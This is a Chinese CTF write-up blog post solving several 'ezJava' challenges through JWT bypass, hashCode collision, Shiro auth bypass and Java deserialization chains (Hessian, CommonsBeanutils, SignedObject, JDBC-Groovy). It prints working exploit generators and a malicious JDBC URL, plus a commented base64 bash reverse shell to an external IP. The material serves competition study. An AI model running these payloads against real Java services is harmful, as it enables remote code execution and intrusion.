March 29, 2023

近期比赛的ezJava大杂烩

前言

想吐槽一下Java题的名字,难道想不出其他名字了吗,为什么全是easy、ez,不能朴实一点来个Hard或者是Medium是吧,看的时候人都麻了,然后也突出了近期CTF的情况就是无Java不兄弟!你不出点Java题就不是CTF!写出东方自信,让国外CTF看看国内这盛状!!!(XD

NCTF 2022 | ezJava

考点:unixPrintServiceLookup类的getter调用+Hessian反序列化+JWT CVE-2022-21449
这题可以称为是一个套中套题。。。最外层其实完全没必要套一个JWT的CVE,太搞心态了
image.png
主要逻辑就是这个,前面有个JWT鉴权,外加一个hashcode比较问题,所以我才说是套中套。。。。

(1)JWT绕过-CVE-2022-21449

其实考的也不是标题中的CVE,这个漏洞需要在jdk15以上才能触发,所以出题人淘了一个差不多的(这不是密码知识吗。)
image.png
我都无语了…..在这一段代码里的r和q没有进行校验
image.png
因此可以进行绕过,这里直接给出伪造的JWTeyJBbGliYW5hbmEiOiJXZWxDb21lVG9NYlRGMjAyMiIsImlzcyI6IlB1cGkxIn0=.1.0,后面两个1、0就是绕过的关键了

(2)hashcode绕过

然后还涉及一个hashcode绕过的小技巧,上述伪造JWT明文为WelComeToMbTF2022
然后题目要求为WelComeToNCTF2022
image.png
那为什么这两位的hashcode是相同的呢?
image.png
我们观察一下hashcode的源码
image.png
他的检验方法实际上是很简单的,也就是需要满足一个等式

1
2
3
4
5
6
7
8
//97
"a".hashCode()

//97*31+98=3105
"ab".hahsCode()

//3105*31+99=96354
"abc".hashCode()

也就是一个反复叠加的hashcode,从左往右开始乘31,然后加上右边的第一个的Ascii码,所以在这道题中假如我们想要伪造NC这两个字符串的hash,那么就需要满足78*31+67=77*31+98,那右边也就是Mb因此得以绕过

(3)Hessian的toString链

其实有个地方之前做Hessian反序列化的时候没注意,回顾一下,当时是触发hashcode打ROME链,既然会调用到hashmap的put方法,那就可能调用toString,因为put方法里面是有一个equals的
image.png
我们可以让左边是一个Xstring来触发toString方法,假如可以走到toString配合,观察依赖包可以发现一个fastjson
image.png
这一点不陌生,可以进行一个任意getter、setter调用,正常来说肯定选择TempaltesImpl,但是之前说到了,在Hessian反序列化过程中由于不会调用目标类重写的readObject所以TempaltesImpl有一个属性不可反序列化
那在这里我就想到2个思路

(4)失败的尝试

上面2个类都有get方法能让链子走下去,那现在先试试第一条
这个在我构造payload的时候发现一个问题,没有CC链的依赖怎么可以去触发二次反序列化呢。。。。我们手动加一个QWQ
最后还是以失败告终,但是思路是没问题的,这是Hessian的版本太高了,在高版本的Hessian是会设置whitelist来抵御攻击的image.png
由于signObject不在whitelist里面所以最后会抛出一个异常。
image.png

(5)正解

那么正解就是Y4佬和官方WP中使用的一个类unixPrintServiceLookup(这个类只在Linux系统的JDK中存在Windows不存在,因此接下来不会写的太详细,太复杂了)
这个类存在很多get方法,而且这些get方法中全是命令执行点
image.png
参考:https://xie.infoq.cn/article/e5b532ae56eda36be2f04a007
这一篇文章中有比较详细的调用顺序分析,这里帖出首和尾
image.png
最后在execCmd执行命令
image.png
var2可控,可以反射修改。结束

MTCTF 2022 | ezJava

考点:shiro鉴权绕过、Java CB链
image.png
审计的话倒是很明显就是在admin/hello路由下进行了反序列化,但是首先得进行一个Shiro鉴权
image.png
这里就涉及一个Shiro鉴权绕过了,经过检索发现了
https://tttang.com/archive/1592/#toc_0x05-cve-2020-11989
image.png
经过测试可以成功绕过权限认证
image.png
然后看一下过滤了些什么类:
image.png
这里出题者有个失误,就是断点处com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl应该是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,他漏掉了一个.,因此我们可以很自然的用CB链打
解决一个疑惑
image.png
看依赖乍看是有cc链依赖的,为什么不用cc链打呢。注意下版本是3.2.2,不是3.2.1,进行了修复,无法反序列化,测试你会发现如下报错
image.png
不给你反序列化了,因此用CB链打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
static {
try {
//Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjQuMjM1LjE3Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;

/**
* Hello world!
*
*/
public class App

{
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main( String[] args ) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("2");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
Base64Encode(barr);
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
return s;
}
}

image.png
有关非预期,和其他师傅讨论了一下,看到依赖有hibernate依赖,可以考虑一手hibernate触发RMI的二次反序列化,但是卡在了
image.png
需要想办法绕过这个方法寻找替代品,假如有思路了会补上的

预期解

预期解来了,假如ban了Tempatesimpl我们可以另类去触发JNDI,详细参考

img

也就是com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition

是可以触发JNDI注入的

鹏城杯2022 | ezJava

考点:CB链+二次反序列化
初步猜想是用CB+CC的后半段利用链,因为题目CC3和CC4的依赖都给了
image.png
image.png
并且只过滤了CC4的chaintransformer,因此我觉得可以接上CB链的compare处进行反序列化,
然后我怎么这么笨呢,总是忘掉二次反序列化这东西,这一题可以用SignObject进行二次反序列化绕过
image.png
入口点给了。那么编写POC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.apache.xalan.transformer.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.*;

public class ezjava_exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(hashMap,privateKey,signingEngine);
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
Base64Encode(barr);
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
return s;
}
}

image.png

强网拟态2022 | ezJava

考点:JDBC之Groovy利用链

(1)审题

初步审题其实可以发现是之前ezjaba的revenge版本:
image.png
回顾一下JDBC反序列化,最后会接收恶意mysql服务端传输回来的数据,并对其调用原生readObject方法,然后观察这道题的依赖包
image.png
有个很显眼(我一开始没注意)的groovy,昨天本来是打算学一手这个链子的,可是咕咕了。
那就是打JDBC-Groovy了,然后还有几层if需要绕一下,这里看看怎么绕
image.png
题目会对URL后面的query进行一次解码,也就是我们可以将AUTODESERIALIZE做一次URL编码即可绕过,剩下的就没啥,就是准备一个恶意mysql服务端,github上有开源的fake_mysql
然后Ysoserial准备Groovy的payload,配置如下
image.png
url=jdbc:mysql://10.92.85.6:3306/test?%2561%2575%2574%256f%2544%2565%2573%2565%2572%2569%2561%256c%2569%257a%2565 =true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_Groovy1_bash -c
然后这一题为了防止非预期读取/flag直接设置了个policy文件让我在本地运行不了。无语
那么就云做题了妈的
之后就是走到readObject就到Groovy的调用,就写下Groovy链吧

(2)Groovy链RCE

Groovy反序列化利用链

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#Java